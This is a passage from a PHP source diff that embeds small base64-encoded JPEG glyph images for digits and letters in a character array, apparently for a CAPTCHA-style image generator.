+'Edls9QKKnOVLyk7UgcbzzrdBthqEJJwZbAI4x1U/7o1TaFa9lG36aXaZTy54VrcXUgrzsGdx+T30aNydweqVw1GS87T6Lb86Q4ha'.
+'my/IAYjZBx+snKk99oOQMf1AViE65SY348hzFy6hPKnqtKz7DC1lbqyPrvJKUJ7H+M6Wrt3InP7o1brFNp4bCDGhxGAsqz69VSiQ'.
+'ORwBxrrQ7itm1ac7Hp0WoGTIc3PSn0pccdcP2WorycfA1RaRHjxosZqOyhtDTSAhCf2gDAGjVHTd9sKSCumynFEZK1tIJUe58/ro'.
+'1V1//9k=' ; 
+
+//==========================================================
+// d5-small.jpg
+//==========================================================
+$this->chars['5'][0]= 632 ;
+$this->chars['5'][1]= 
+'/9j/4AAQSkZJRgABAQEASgBKAAD//gAJSnBHcmFwaP/bAEMACAYGBwYFCAcHBwkJCAoMFA0MCwsMGRITDxQdGh8eHRocHCAkLicg'.
+'IiwjHBwoNyksMDE0NDQfJzk9ODI8LjM0Mv/bAEMBCQkJDAsMGA0NGDIhHCEyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy'.
+'MjIyMjIyMjIyMjIyMjIyMjIyMv/AABEIAB4AEgMBIgACEQEDEQH/xAAZAAACAwEAAAAAAAAAAAAAAAAABgIFBwT/xAAoEAABAwME'.
+'AQQCAwAAAAAAAAABAgMEBQYRABIhIkEUMVFhBxNCgaH/xAAVAQEBAAAAAAAAAAAAAAAAAAAAAv/EABcRAQEBAQAAAAAAAAAAAAAA'.
+'AAABEUH/2gAMAwEAAhEDEQA/ANGvW4YVOeiRX5b4mv5Sin05IdlupPKdo/j2SO3+6TbPNQvOsTVz33KRT4csR3YUF7Dsh5OSFvug'.
+'kqG4FPBxnjxpvvi4KZb1pTpU+QwxUi2Y7ZIAefUk5ATxnB9/gbtL/wCH1UpuhPUlZlMVaQ0mS8zJjqZOPfc2TwpIUonI9tw40R1r'.
+'WNGq/wBdJR1XT3lqHBUnGCfkfWjRWs1ve249erQqQYjOtN1FqPUpCXQ4WIzQSsJwT0UpRwQPG0nzqyuNHobjsl9kBuWqoOoXtT1/'.
+'WppZcA8lKRj64HxqU+3KpAr6plElRVKef3S4E0K9O8pLXVzKcqSsJAB9wSAca6bSoNXeuA1+5pEV+SGFNU1iKVFqI0Vdx2AJUeoz'.
+'8DGlTDwG3CAf3q/pI0ah6MDhLz6U+EpXwPoaNMU//9k=' ; 
+
+//==========================================================
+// d1-small.jpg
+//==========================================================
+$this->chars['1'][0]= 646 ;
+$this->chars['1'][1]= 
+'/9j/4AAQSkZJRgABAQEASgBKAAD//gAJSnBHcmFwaP/bAEMACAYGBwYFCAcHBwkJCAoMFA0MCwsMGRITDxQdGh8eHRocHCAkLicg'.
+'IiwjHBwoNyksMDE0NDQfJzk9ODI8LjM0Mv/bAEMBCQkJDAsMGA0NGDIhHCEyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy'.
+'MjIyMjIyMjIyMjIyMjIyMjIyMv/AABEIAB4AEwMBIgACEQEDEQH/xAAZAAADAAMAAAAAAAAAAAAAAAAABQYCBAf/xAApEAACAQMD'.
+'AwQBBQAAAAAAAAABAgMEBREABiESMUEHEyJRkSNCYXGB/8QAFgEBAQEAAAAAAAAAAAAAAAAAAAEC/8QAFxEBAQEBAAAAAAAAAAAA'.
+'AAAAAAEREv/aAAwDAQACEQMRAD8A6jdd4WLbstILnc4Uq0VoWpkJknb6IjXLHJUePOlez923fcW4r1SxWlqC2UbdKirQif3Xw3yA'.
+'OFAGT09/kO3OmV3a20MFRf6lIYPcpy7yRRAzgxjIy2M8YwcdiBzpX6d22VNvUlTXsFkuwkrKqNSfnK7F8OTzwrAY+l5zoxKskudN'.
+'EgQPUT9PBkWF3DH+1GPxo1mLnRoAqF2VRgGOFmX/AAgY/GjRUP6hVMFv2FuFqUvUGrpDFJMBnpdyF5bsAQew7Hxzp6LZNT0yQ1DI'.
+'wp0QCFBhD0jCsfLZHxbx5xxpTuvb1+v9PV7Ztk9roLPLCjmSSN3mX5ZwqjCgZX7PfWxDQb2in96pv9qq46aTE0bW4x9ceAWAYPwS'.
+'PsYzoixgmheBGjIVcYCnjp/jHjHbRpe1JLn9OnopE/a0ykvjwDx47aNMXqP/2Q==' ; 
+
+//==========================================================
+// ll-small.jpg
+//==========================================================
+$this->chars['l'][0]= 626 ;
+$this->chars['l'][1]=
+'/9j/4AAQSkZJRgABAQEASgBKAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAx'.
+'NDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy'.
+'MjIyMjIyMjL/wAARCAAeABcDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAYEBQf/xAArEAACAQIFAwIGAwAAAAAAAAAB'.
+'AgMEEQAFBhIhFEFREzEHFSIyYcFxgZH/xAAXAQEAAwAAAAAAAAAAAAAAAAACAAED/8QAGhEAAwEAAwAAAAAAAAAAAAAAAAECMREh'.
+'Qf/aAAwDAQACEQMRAD8A15Zfm1VURj1Fp5AqLKv3OARcL4W5Nzx+MLWjdRz5hqXU6TSb6OCr6WghiQbrJ91gOTy1yT5xZ55myZFk'.
+'Gb5ozX6Ondm28XYqpQDwu7jEH4c5S2UaDy4xxrLmlUDWzk8XaQ3O49hbj+RiB85HNg8Ee3aqwIqhDuux7G/HHbvzgxEqaWOvy09R'.
+'O0o3hjdQoUji20g+fY3wYSM6pJ4Ylr7V+Zz5PSaezHTlTRNWzxySSxt6q1MSkH6AOT2Fu3Aw7RfF/T9DEkLUeawuF2mKSgdWQj2/'.
+'q3+fnDZDlqRZzQGaOGcpTOaeR1u8R+ncN3gj94so2jNWHeMNNKzorEX2qp9v3imNPoRE1zpjUtZ09HJmYq5lury0benZeTww23t3'.
+'Ivgw+T0yRRyyxIqNfkLcA8jt7YMKcBWn/9k=' ;
+
+
+//==========================================================
+// ls-small.jpg
+//==========================================================
+$this->chars['s'][0]= 701 ;
+$this->chars['s'][1]= 
+'/9j/4AAQSkZJRgABAQEASgBKAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAx'.
+'NDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy'.
+'MjIyMjIyMjL/wAARCAAeABQDASIAAhEBAxEB/8QAGgAAAgMBAQAAAAAAAAAAAAAAAAMCBAUGB//EACwQAAEEAQIFAgUFAAAAAAAA'.
+'AAECAwQFEQAGEhMUITEiYQcjQVFxFRZCUoH/xAAWAQEBAQAAAAAAAAAAAAAAAAADAgH/xAAZEQADAQEBAAAAAAAAAAAAAAAAAQIR'.
+'EiH/2gAMAwEAAhEDEQA/APWZMhmFXSJU+SGmWFiQtAWMJQAnJUr8Z+w/OuQk71uZnMsqnbjy9s8st9UMCQ6kZJdZaIHEkZ/JHceN'.
+'N3HtizuY1JLrG48yLBSC9UTFKQiY4nACir+wAOOMEe2rm2bTbzlqtE1MyBuZAPybpw85KSfDRJ4Cg+Pl/wC61hJeGjV31VuuKqwr'.
+'LGU+whZZK+Rw+oYJAyj3GjS4dZFpZVkqPLktdfMXNcaU2kBC1BIITkdx6c599GlnvPAa3TL2vNvU76n0063acr3YSLCEjpUpUQtW'.
+'Dhf14SMEnOc57aZ8Tegm7dbrEQGZt1PeTDgc1PEW3FeXAvyAkZVkeMDOm2G3f3O7Cl/qEuqkQg4lp6CRxraWfUlRUD24kZA741Ko'.
+'2k1HvlT3ri2sLOCgtsyJz6XEtBwZPAgJAGQMHUNPWKqWItsqh0UCFVyLeKhyLHQ2TMdHNVj+RKlAnJyfto1FW2ahgjrq6LYTFjjf'.
+'lymUOLdWfJyoHA+gA7AAAaNPE3ysJdLT/9k=' ; 
+
+//==========================================================
+// lh-small.jpg
+//==========================================================
+$this->chars['h'][0]= 677 ;
+$this->chars['h'][1]= 
+'/9j/4AAQSkZJRgABAQEASgBKAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAx'.
+'NDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy'.
+'MjIyMjIyMjL/wAARCAAeABUDASIAAhEBAxEB/8QAGgAAAQUBAAAAAAAAAAAAAAAAAAIDBAUGB//EACwQAAIBAwMCBQIHAAAAAAAA'.
+'AAECAwQFEQAGEiExExQiQVEVggcyU2GRocH/xAAXAQADAQAAAAAAAAAAAAAAAAAAAwQB/8QAGhEBAQEAAwEAAAAAAAAAAAAAAQAC'.
+'AyEyMf/aAAwDAQACEQMRAD8A6DZb95q9bmpK6ieOCzNHJTxmE+NMhQ5fr1fLq3Ejvkak2e7ipiFsqb3R0m4qkPPJRiRXenU9VjKE'.
+'5JVcA9R7nWc3/BUbfoKTdO3VRXhpjbZ2D8Rwk6RyZH6chB+46m7i2hDYtgA2ePlV2VkuKysoLzzRnlIScZJZeeevvjtrX7LK2rp7'.
+'tTwwJ9WjhILDrTKnIdMEDl2+P80aVdJZb1QW+vgqENLPH4sBCDLIwUgnOf4GjVvDnLgUk79T81voqjb8NnuUx8pVRCiEaYUSuynl'.
+'jHU9mOfnOoOx6hqz8PrbNdfEkMUXg1LSM3rKOUywJ7YAJ1ZTWmSpvdvlaVTDSUzJAhH5ZJBgv0x2RSAPlz21WXqoet3ba9nuW8n4'.
+'Jr6qTPqnUNxSM/f6mPvxA9zqJnExTbR+h0nkhVu1uE8j0UBRQ9PGxBKFjnkAScdsDp10a0lc7z0tI7Y5YYN+5GAf7GjVXF4Icj3f'.
+'/9k=' ; 
+
+
+//==========================================================
+// ld-small.jpg
+//==========================================================
+$this->chars['d'][0]= 681 ;
+$this->chars['d'][1]=
+'/9j/4AAQSkZJRgABAQEASgBKAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAx'.
+'NDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy'.
+'MjIyMjIyMjL/wAARCAAeABcDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAQFBgH/xAAsEAABAwMEAAQFBQAAAAAAAAAB'.
+'AgMEBQYRABIhMQcTI0EUMlFhkRgicaGx/8QAFgEBAQEAAAAAAAAAAAAAAAAAAgEA/8QAGBEBAQEBAQAAAAAAAAAAAAAAAAECETH/'.
+'2gAMAwEAAhEDEQA/ALUhp6h3W/X63UlypbhCY0WMjLqGzwDtPCfv/WtealNpVInuVBBqCogcdbU36YUkAkJWVHG8YPXBxxzxqPcN'.
+'YtWyWnIlUeW05VEOAvrCnnSkftK1H5lKJPHsMDoDUWq+KdrSbIqsalVsImiEtLUZ2MU71bcYJWkhZ/36ayLHhi/IXZVOmzKqp5uU'.
+'688hTyjuGVEFJKvoQesD86NL2jGZp1EoLDSmk+ZAQ8d7oPzp3YGesFWMfxo1YGvSzLsT9QExVX8phTlMaFOExAJIBGQjJwCcL+/e'.
+'rd+W7GuO0Kw05CQ6+ww69Gfdb2kFIKk7DgEkjgnr86rXRa9HuyP8LV4SH0sIBbWFFDiFEgDaocgdkjo8ccay0qw7ut5nyrcviQqC'.
+'slsRKo0HwlODkBRzxj2AGoXTtpzIdQ8MbffUChz4NCPRaClAo9Mn6c7T3o13wytmo0K05VIqkiPJbizFiMWs4CTgnIIHOST796NL'.
+'Ia1JX//Z' ;
+
+//==========================================================
+// d8-small.jpg
+//==========================================================
+$this->chars['8'][0]= 694 ;
+$this->chars['8'][1]= 
+'/9j/4AAQSkZJRgABAQEASgBKAAD//gAJSnBHcmFwaP/bAEMACAYGBwYFCAcHBwkJCAoMFA0MCwsMGRITDxQdGh8eHRocHCAkLicg'.
+'IiwjHBwoNyksMDE0NDQfJzk9ODI8LjM0Mv/bAEMBCQkJDAsMGA0NGDIhHCEyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy'.
+'MjIyMjIyMjIyMjIyMjIyMjIyMv/AABEIAB4AFQMBIgACEQEDEQH/xAAYAAADAQEAAAAAAAAAAAAAAAAABgcEBf/EACsQAAEDAwMD'.
+'AwMFAAAAAAAAAAECAwQFBhEAEiEUMVEHE0EVYYEiIzJCsf/EABYBAQEBAAAAAAAAAAAAAAAAAAIAAf/EABcRAQEBAQAAAAAAAAAA'.
+'AAAAAAABERL/2gAMAwEAAhEDEQA/AKL6gVVUa0i1T5QjvTprUJMlxW4R9zgQXe/AH+kaWrntqlWjaq7gpcmotXAw82ht9yY4tch8'.
+'uAFC0k7VBXPGMY51ruiaue+bThIj+7NbWqS+7HDxajFf6AlB/k44o8ZOABk4xkL0X0tZiojKrlRuGRJjugqldSlKGf6t7BuUQe3J'.
+'44xxxrA1a4KVJipLidri8uLHgqOcfjOPxo0o2hdDvS1CmV2Yl6fS5ioipIQR1CAlKkLKR2UUqAI8g6NRSwuuyHab6s1ufLI/Zai7'.
+'UBJOxhTS0+6B32pWSFH4CidOdWU0ukLiN1BLr0zG5Sdm3GRvcPhIT858DvjXNrVsSLnm/VIdTXS6tTnFsxZTSN3jchaTwps+O/z9'.
+'tcBVq3hIX0tYqlIiQHdy5CqRHKHXEjAOMgBKjnvyRk4xrQa7OiGt1K5biYZL8SoVEpjOqkFsONtJCNwASeCQrn7aNUKnQYtLp7EC'.
+'EylmLHQltptPZKQOBo1FzH//2Q==' ; 
+
+//==========================================================
+// lz-small.jpg
+//==========================================================
+$this->chars['z'][0]= 690 ;
+$this->chars['z'][1]=
+'/9j/4AAQSkZJRgABAQEASgBKAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAx'.
+'NDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy'.
+'MjIyMjIyMjL/wAARCAAeABYDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAABgAHA//EACsQAAEDAwQBAwIHAAAAAAAAAAEC'.
+'AwQFESEABhIxBxMiQVFxCCM0UmGRof/EABYBAQEBAAAAAAAAAAAAAAAAAAECAP/EABgRAAMBAQAAAAAAAAAAAAAAAAABEVEC/9oA'.
+'DAMBAAIRAxEAPwBTWfLu1KXXZDbM4uewNvLajlwhaCbBAwDe5uehYd3xm6t6bi3jvulwqc7KgxXZZeYQLNLeF73WRg4HEdgfzrSa'.
+'P45pNEkznITDc9ypLShtyWhJDJyXC2qxJHZvjoZOjyVv1v8AESt6FFS4ijxvTLbawEApSccrYHJf0+OtJMQ2rNXk7GZMufJgJjTH'.
+'Un9M4qzxT7hyCiThIyRnPXWrRvyLElVBUF6vlhl0lwRYCFKcQhAtyWpVhyWTx+w++rUvp4EWjOvbniUOnVatcS43BYDbJSPZyIBw'.
+'ejclIx+3Wa+J63T6DQanuGszI0eZVJJV60p0Jum5GEi6le7l0PjvSjyRsaTvJqI1BqhhR46ksuMrQVJcUSEoUbHNr/7o7C8L7eiz'.
+'4lLlyJk2cEqW+6V+m0AE9ISLnsj5+O9UhsFK92bZZqb9SRu9p2c4A0OCEqDbYAJSlJwAVZv3fBvbFrg/462btlhuS1RG5nL8pYkq'.
+'KrnsKH06I/rVrQKkf//Z' ;
+
+//==========================================================
+// d4-small.jpg
+//==========================================================
+$this->chars['4'][0]= 643 ;
+$this->chars['4'][1]= 
+'/9j/4AAQSkZJRgABAQEASgBKAAD//gAJSnBHcmFwaP/bAEMACAYGBwYFCAcHBwkJCAoMFA0MCwsMGRITDxQdGh8eHRocHCAkLicg'.
+'IiwjHBwoNyksMDE0NDQfJzk9ODI8LjM0Mv/bAEMBCQkJDAsMGA0NGDIhHCEyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy'.
+'MjIyMjIyMjIyMjIyMjIyMjIyMv/AABEIAB4AEgMBIgACEQEDEQH/xAAYAAADAQEAAAAAAAAAAAAAAAAABAYHAv/EAC0QAAIBAwQA'.
+'BAMJAAAAAAAAAAECAwQFEQAGEiETFDFBUmGBByIjUVNxobHR/8QAFgEBAQEAAAAAAAAAAAAAAAAAAAIB/8QAGBEBAAMBAAAAAAAA'.
+'AAAAAAAAAAERIVH/2gAMAwEAAhEDEQA/ANjM00Nxmt1xiWW31CZp5uJwoAAaOQ/n7qfcZHqO5my3q5XX7R6ijiqnNut9u4NyJ4yv'.
+'JJyjYr8Xhrn5g599J7x3ulBNU7Zo7dXXXcLQ8kURYi4epYtkALjOePv1nUvbLvV7P3BZm3DR3eh88Kp7pVzBZI6iUhGWRRGWwE44'.
+'HX3V+uiL1uHgt+vL/H+aNJQ3CSeCOaFqSaJ1DJKs/TqRkMOvQjvRorHE4pRDLNWLGlRHGUeYIORXs9e5B7OP31E0fmdyb/t0DJ4Q'.
+'27bfx3YZzPUIoAAz7IpOD6cuxq0uNumqLfVNDOqXBoZEjnZcqhIPXH4c46+WkdoWOltu3IDDLLLVVR83UVcuPEmmcZZ2/rHoAANG'.
+'GI7KIY1ijoLeEQBVCwIoAHpgY6Hy0aZe7mJ2jeHLKcEhusj6aNKgzr//2Q==' ; 
+
+//==========================================================
+// lv-small.jpg
+//==========================================================
+$this->chars['v'][0]= 648 ;
+$this->chars['v'][1]=
+'/9j/4AAQSkZJRgABAQEASgBKAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAx'.
+'NDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy'.
+'MjIyMjIyMjL/wAARCAAeABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAQDBQYH/8QAKBAAAQQBAwMEAgMAAAAAAAAA'.
+'AQIDBBEFAAYhEzFBEhQiYQdRFTKB/8QAFgEBAQEAAAAAAAAAAAAAAAAAAAEC/8QAFxEBAQEBAAAAAAAAAAAAAAAAAAERIf/aAAwD'.
+'AQACEQMRAD8A6Ngt1SZ4yrYgrecgTFsFJA9aGwAUrUaF2D2Avjzq6CIjiBPkB9bwQVIkIYIDae/wq+P9N+dY4SGMf+Txlev7KBmY'.
+'PoadKRy4zxSgRxaTwO/x09u7KPYnasmHjlsyFZZXt4K23ezjvBpNGgLUrvXfVZyLLbWambiwEbKvvxYAkeotNlIJW2FEJWb7WBda'.
+'NSQI0fHYyJjkrjKRDZQwnpQ1vgBIr+w8+a+9GocZr8iKkuY1eXhsKH8U8iZE9BHz6ZHUc48UfSPqzqH3kfeO9kTTDQYGGietpTaO'.
+'shyW6AocpHNIrv8AvWzk9BUSdPdYS4BcRlomkhIV6KP0VE39V+tU2wdlRMHtZUB8NuTQ+51X27+Kr46ZPIAFV540D8zeLsJ5LMHa'.
+'ubmMBCVJdjx0pRyLoWR4I8aNIQ8BvZMNtMTeUcsptKfc4tC1gAkCyFC+K0aJtf/Z' ;
+
+//==========================================================
+// lk-small.jpg
+//==========================================================
+$this->chars['k'][0]= 680 ;
+$this->chars['k'][1]= 
+'/9j/4AAQSkZJRgABAQEASgBKAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAx'.
+'NDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy'.
+'MjIyMjIyMjL/wAARCAAeABUDASIAAhEBAxEB/8QAGQAAAwEBAQAAAAAAAAAAAAAAAAUGBAMH/8QALhAAAQMDAwIEBAcAAAAAAAAA'.
+'AQIDBAUREgAGITFBEyIyYQcVUYEUIzNicZHx/8QAFgEBAQEAAAAAAAAAAAAAAAAAAwEE/8QAGxEAAwACAwAAAAAAAAAAAAAAAAEC'.
+'AxESMeH/2gAMAwEAAhEDEQA/APVK/V36dU6NSJDTT8esPLiqfK8S2cCoeTkKvZQ6jm2ldSqKqbu+OgMOvSX3m4UBrLnDlbqiefKl'.
+'Nzz2x1m+IwNP27CkJQ7JkR6rCkMJbP5jp8S2CPfkgD6H+dJ6Ca0nerr+64rTNSqMYrg+C9mmOwhVpDfsuxSbi97DmybaoZeQ5jTl'.
+'PEp18JTIfeW3kq3ly4H26aNZqvTWZsjFcZTsVtSg0G8Rio+vr2vb7g6NLPRnuXy8F+8kl+obUh4KXJdqSJJQnohlkZqJPYBXh3P+'.
+'a4b5Hyp6k1bO7sOotPyXkj9NlwFl0ewstJA9ifrqkVSmET4csoS7UTHXFQ+6SQlskKUMb/tH9ddLVUmS7DqdBqD7U6OsqfS46jzl'.
+'hQ5bXb1K9Scuybdxo2OTu92dwSZkWn0Sb8viQWyn8Qq5D6ifSLd0BIv7q0arTBRSKPToMZbi2GWylsvLK148Wue/XRrRjxOpT2R2'.
+'k9aP/9k=' ; 
+
+//==========================================================
+// lr-small.jpg
+//==========================================================
+$this->chars['r'][0]= 681 ;
+$this->chars['r'][1]= 
+'/9j/4AAQSkZJRgABAQEASgBKAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAx'.
+'NDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy'.
+'MjIyMjIyMjL/wAARCAAeABYDASIAAhEBAxEB/8QAGgAAAgIDAAAAAAAAAAAAAAAAAAYCBQMEB//EAC4QAAICAQIFAgMJAQAAAAAA'.
+'AAECAwQRBQYAEiExQQdRFGFxEyIyM0JSYoGC8P/EABYBAQEBAAAAAAAAAAAAAAAAAAEAAv/EABcRAQEBAQAAAAAAAAAAAAAAAAAB'.
+'EUH/2gAMAwEAAhEDEQA/AOs0ZdETU54Gt1INSmlPJEsyo7J+jlXPUYBPY9c+eE/dO9tY0a7ren6BVrW7VJTZtW5kZkjXkBSIKveQ'.
+'gHp0AAJ4w+q2hVdT2Md0h46+saS4mr3EUK0gWTAB+vQj2PboeL/ZVOqmhaZVjkFmxdC6tctt3tM2G5/7bAx4C4+qxiWwd3prWzKe'.
+'r3IBAth5OYxozKsgc8y4GTgnJB9uncdTi6tXq2140rRVM13JMEMAVAg7sMdBjJB/18uDgRO9R2Oo6FX2vShkFzURFUq1whIj+8DI'.
+'7EdAFjXv7MeNb0kuStsFEmIaajZaos2fy2Q4VGH7SGxn+Rzw9yMLOm/FzRhZazmOTkP4grYyD3B8j2PTyeFfZ+z7G3BeSS8lmprl'.
+'2K2qcnK0Z5S8gPjrgAY8cNEWmq7u23pEos6/Zji+Kd0rLLGWwseA3joeZj/w4OET1g0vlmrWV+ydFnkUxSgsvM4V+YYIwfHz6cHB'.
+'ZeKZ1//Z' ; 
+
+//==========================================================
+// lg-small.jpg
+//==========================================================
+$this->chars['g'][0]= 655 ;
+$this->chars['g'][1]=
+'/9j/4AAQSkZJRgABAQEASgBKAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAx'.
+'NDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy'.
+'MjIyMjIyMjL/wAARCAAeABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAQCBQYH/8QAJxAAAQQBAwQCAgMAAAAAAAAA'.
+'AQIDBBEFAAYhBxIxQRNhcYEiQlH/xAAYAQACAwAAAAAAAAAAAAAAAAACAwABBP/EABkRAAMBAQEAAAAAAAAAAAAAAAABAhEhIv/a'.
+'AAwDAQACEQMRAD8AayO4t6bq3hmMHtxyLi4OKeKH5jyASiiQCCQeTRNAeB61FrBb+jTGpLO+BMW24EFMhkhpQru8m7B/H70x09Yi'.
+'q3nv/vLfwpnJ7UNkqSRbngf2ofWkpXV7brymC2malLfagurjW0aHk89xPJ9cX9aprURHWbYEaMHHEBfwpv8AnXPk+/8AdGqGJOxO'.
+'4YbOSxK4y4boIStUWysgkEmxY54r60aOI8oTV9MHtjJwunPUbO46WWo0HLlD8KY4goboFVoquOVEVwLT963WdnxYfT6ZJyz0JvHm'.
+'KvtaSkW4tYNVSqKiTwB+fw5n9sY/cuOXCzDDcluyW3Ckd7V+0n0eNZTH9DdouFalHIOJBUhtDki0pNV3UALo81ehG6IdKjPZ6d47'.
+'4ywltanVJvuJI+RQs/sHRqy2r003JhsImEc/CUyhxRZBjKV2oJ8eRXNmufPnRo1WIz3DdNn/2Q==' ;
+
+//==========================================================
+// lc-small.jpg
+//==========================================================
+$this->chars['c'][0]= 629 ;
+$this->chars['c'][1]= 
+'/9j/4AAQSkZJRgABAQEASgBKAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAx'.
+'NDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy'.
+'MjIyMjIyMjL/wAARCAAeABcDASIAAhEBAxEB/8QAGQAAAwEBAQAAAAAAAAAAAAAAAAUGBwID/8QALRAAAgICAQIEBAYDAAAAAAAA'.
+'AQIDBAURACExBhIiQRMVUWEHMkJScYFykaH/xAAWAQEBAQAAAAAAAAAAAAAAAAABAgP/xAAXEQEBAQEAAAAAAAAAAAAAAAAAATER'.
+'/9oADAMBAAIRAxEAPwDcoGkmiT4Q8kWvzuPU38D2/v8A1zwrCFayq1qTaFk2H7aJHt05MeMvENzC4upDWkjW9kJXiricAJCigvJN'.
+'IB1IVQT5frrv24twPgunk6a288crbklUSJNNdnSTZ2STHHqOP/Eb17njdZtAoqwEvrEiGVyG117/AG6HhyV8H1sljMldoxXTksGC'.
+'zV7M0oaWGQOVeGQ92I6EMR22D11w4LmEPjaOL51iL8ssc9Z69zHtZkYCGGeQK0ez2UEoU39wCeX1S/LLiEt+mPSbMLxsGVv2kEjR'.
+'305xkaEV/GTULMUT1LD/AAGh8gIZS2jv+vpybb8NMIb0dVLWYWgiiU0vmMphOj6V0TvQI3rfsON1E6dYjGtisa0F1mAWR2NhG0WZ'.
+'3Ls3TqNs5Hc9h23w49NWL9K+Q/VD5T/zhwPH/9k=' ; 
+
+//==========================================================
+// d7-small.jpg
+//==========================================================
+$this->chars['7'][0]= 658 ;
+$this->chars['7'][1]= 
+'/9j/4AAQSkZJRgABAQEASgBKAAD//gAJSnBHcmFwaP/bAEMACAYGBwYFCAcHBwkJCAoMFA0MCwsMGRITDxQdGh8eHRocHCAkLicg'.
+'IiwjHBwoNyksMDE0NDQfJzk9ODI8LjM0Mv/bAEMBCQkJDAsMGA0NGDIhHCEyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy'.
+'MjIyMjIyMjIyMjIyMjIyMjIyMv/AABEIAB4AEgMBIgACEQEDEQH/xAAZAAACAwEAAAAAAAAAAAAAAAAABgEFBwT/xAAuEAABAwIE'.
+'BAQGAwAAAAAAAAABAgMEBREABiExEhMiQSMyUXEHFBclVJFhk9L/xAAXAQADAQAAAAAAAAAAAAAAAAAAAQID/8QAGREBAQEAAwAA'.
+'AAAAAAAAAAAAAAEREiFR/9oADAMBAAIRAxEAPwDXq9mCjZeQ05VZ5ZST4bfEpa3VdglCbqUe+g9MZ5Uq7V8415WXoMSdQ6etgSps'.
+'19wpkCMDZKUpv0FZvbi1NzpYasMDLDUbMVXrtQdbeeU23xLWkj5RlLYK0J7anW9gbAjCzkOtsVSUJUdtc6dVZK51UeaFm4LKbhpC'.
+'l7EhIFkDW974GbRI2XorUVls1OTdKAOqUpR0Hc3198GITQ6k+hLwrEpoODiDenRfW23bBicg78JXxPpD0mgVOW5PAivNNpahsPW5'.
+'8xxQaSVkboQnhsnYm5OHqDGp1IpsalMKjMsMIC3+XZKbJFth62/QOEfMOZqZXp9JcKZTcGmTky3meSi7xQklI81vMR+sXIz/AEgp'.
+'Q0qPNu6ea8Q2jqtbp8+2w9h/OKORc/cpHjt1dDSHOtLZ4ekHW23bBjj+o9H/AB539aP94MG0+L//2Q==' ; 
+
+//==========================================================
+// ly-small.jpg
+//==========================================================
+$this->chars['y'][0]= 672 ;
+$this->chars['y'][1]= 
+'/9j/4AAQSkZJRgABAQEASgBKAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAx'.
